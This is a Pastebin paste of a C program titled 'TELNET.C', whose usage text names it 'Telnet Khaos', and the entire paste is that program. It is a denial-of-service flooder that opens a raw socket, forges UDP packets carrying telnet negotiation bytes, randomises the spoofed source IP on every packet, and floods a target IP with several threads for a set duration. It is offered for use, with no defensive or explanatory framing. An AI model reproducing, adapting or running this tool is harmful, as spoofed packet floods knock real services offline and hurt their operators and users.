prostate

TELNET.C

Mar 28th, 2020
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.35 KB | None | 0 0
  1. #include <pthread.h>
  2. #include <unistd.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <sys/socket.h>
  7. #include <netinet/ip.h>
  8. #include <netinet/udp.h>
  9.  
  10. #define MAX_PACKET_SIZE 4096
  11. #define PHI 0x9e3779b9
  12.  
  13. static unsigned long int Q[4096], c = 362436;
  14. static unsigned int floodport;
  15. volatile int limiter;
  16. volatile unsigned int pps;
  17. volatile unsigned int sleeptime = 100;
  18.  
  19. void init_rand(unsigned long int x)
  20. {
  21. int i;
  22. Q[0] = x;
  23. Q[1] = x + PHI;
  24. Q[2] = x + PHI + PHI;
  25. for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  26. }
  27. unsigned long int rand_cmwc(void)
  28. {
  29. unsigned long long int t, a = 18782LL;
  30. static unsigned long int i = 4095;
  31. unsigned long int x, r = 0xfffffffe;
  32. i = (i + 1) & 4095;
  33. t = a * Q[i] + c;
  34. c = (t >> 32);
  35. x = t + c;
  36. if (x < c) {
  37. x++;
  38. c++;
  39. }
  40. return (Q[i] = r - x);
  41. }
  42. unsigned short csum (unsigned short *buf, int count)
  43. {
  44. register unsigned long sum = 0;
  45. while( count > 1 ) { sum += *buf++; count -= 2; }
  46. if(count > 0) { sum += *(unsigned char *)buf; }
  47. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  48. return (unsigned short)(~sum);
  49. }
  50.  
  51. void setup_ip_header(struct iphdr *iph)
  52. {
  53. iph->ihl = 5;
  54. iph->version = 4;
  55. iph->tos = 0;
  56. iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 33;
  57. iph->id = htonl(54321);
  58. iph->frag_off = 0;
  59. iph->ttl = MAXTTL;
  60. iph->protocol = IPPROTO_UDP;
  61. iph->check = 0;
  62. iph->saddr = inet_addr("192.168.3.100");
  63. }
  64.  
  65. void setup_udp_header(struct udphdr *udph)
  66. {
  67. udph->source = htons(27015);
  68. udph->dest = htons(27015);
  69. udph->check = 0;
  70. void *data = (void *)udph + sizeof(struct udphdr);
  71. memset(data, 0xFF, 4);
  72. strcpy(data+4, "\xff\xfb\x25\xff\xfd\x26\xff\xfb\x26\xff\xfd\x03\xff\xfb\x18\xff\xfb\x1f\xff\xfb\x20\xff\xfb\x21\xff\xfb\x22\xff\xfb\x27\xff\xfd\x05");
  73. udph->len=htons(sizeof(struct udphdr) + 33);
  74. }
  75.  
  76. void *flood(void *par1)
  77. {
  78. char *td = (char *)par1;
  79. char datagram[MAX_PACKET_SIZE];
  80. struct iphdr *iph = (struct iphdr *)datagram;
  81. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  82.  
  83. struct sockaddr_in sin;
  84. sin.sin_family = AF_INET;
  85. sin.sin_port = htons(17015);
  86. sin.sin_addr.s_addr = inet_addr(td);
  87.  
  88. int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
  89. if(s < 0){
  90. fprintf(stderr, "Could not open raw socket.\n");
  91. exit(-1);
  92. }
  93. memset(datagram, 0, MAX_PACKET_SIZE);
  94. setup_ip_header(iph);
  95. setup_udp_header(udph);
  96.  
  97. iph->daddr = sin.sin_addr.s_addr;
  98. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  99.  
  100. int tmp = 1;
  101. const int *val = &tmp;
  102. if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  103. fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  104. exit(-1);
  105. }
  106.  
  107. init_rand(time(NULL));
  108. register unsigned int i;
  109. i = 0;
  110. while(1){
  111. sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  112. iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  113. iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  114. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  115.  
  116. pps++;
  117. if(i >= limiter)
  118. {
  119. i = 0;
  120. usleep(sleeptime);
  121. }
  122. i++;
  123. }
  124. }
  125. int main(int argc, char *argv[ ])
  126. {
  127. if(argc < 5){
  128. fprintf(stderr, "Invalid parameters!\n");
  129. fprintf(stdout, "Telnet Khaos\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  130. exit(-1);
  131. }
  132.  
  133. fprintf(stdout, "Setting up Sockets...\n");
  134.  
  135. int num_threads = atoi(argv[2]);
  136. int maxpps = atoi(argv[3]);
  137. limiter = 0;
  138. pps = 0;
  139. pthread_t thread[num_threads];
  140.  
  141. int multiplier = 20;
  142.  
  143. int i;
  144. for(i = 0;i<num_threads;i++){
  145. pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  146. }
  147. fprintf(stdout, "Starting Flood...\n");
  148. for(i = 0;i<(atoi(argv[4])*multiplier);i++)
  149. {
  150. usleep((1000/multiplier)*1000);
  151. if((pps*multiplier) > maxpps)
  152. {
  153. if(1 > limiter)
  154. {
  155. sleeptime+=100;
  156. } else {
  157. limiter--;
  158. }
  159. } else {
  160. limiter++;
  161. if(sleeptime > 25)
  162. {
  163. sleeptime-=25;
  164. } else {
  165. sleeptime = 0;
  166. }
  167. }
  168. pps = 0;
  169. }
  170.  
  171. return 0;
  172. }
Add Comment
Please, Sign In to add comment